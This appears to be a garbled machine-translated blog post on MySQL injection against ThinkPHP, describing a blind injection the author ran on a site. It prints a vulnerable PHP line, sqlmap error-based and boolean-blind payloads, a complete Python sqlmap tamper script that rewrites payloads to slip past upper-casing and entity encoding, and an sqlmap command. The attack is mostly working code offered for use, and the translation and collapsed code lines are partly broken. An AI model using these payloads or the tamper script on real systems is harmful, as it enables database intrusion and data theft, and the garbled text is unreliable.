Mysql注入まとめ(二)

2110 ワード

先日、あるステーションにブラインドをかけたとき、次の点を置き換えました.
0 x 03この注入をサポートするtamper(mysqlをサポート)3.1を記述phpにこのような文があると、私たちが挿入した文がすべて大文字になるので、payloaを変換します.
1
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
3.2 sqlmap mysql error based注入文
12
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)/**の0 x 3 a 7 a 61623 aなどの16進数文字はxが大文字になったためにエラーが報告されるので、小文字になる**/にマッチする必要があります.
3.3 sqlmap myql boolean blind注入文
12345678910111213
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1)>51 payload="ORD(SELECT IFNULL(CAST(DISTINCT(schema_name))、AS CHAR),0 x 20)FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"num=51/**はthinkphpによってエンティティーコードされるので、したがって、文全体をfloor(payload/num.5)に変換する必要があります.たとえば、52>51=1が真floor(52/51.5)=1が真51>51=0が偽floor(51/51.5)=0が偽**/
3.4最後のtamperコード
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
    d = {"ror":"rand","and":"or"} 
    #f.write(payload+"
")     t = re.findall('(0x\w+)',payload.lower())      for expression in t:         d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])        for key in d:         payload = payload.lower().replace(key,d[key])     prefix = "in%20(%27xxx%27))%20"     subfix = "%20--%20"     payload     payload = prefix + payload + subfix     t = re.findall('or (.+)>(\d+)',payload.lower())     #print payload     if t:         payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))     #print payload     #f.write(payload+"
")     return payload

0 x 04 sqlmapローカルテスト
sqlmap.py -u "http://localhost/exp?user[0]=* --dbms mysql --tech b --tamper "./thinkphp.py" --dbs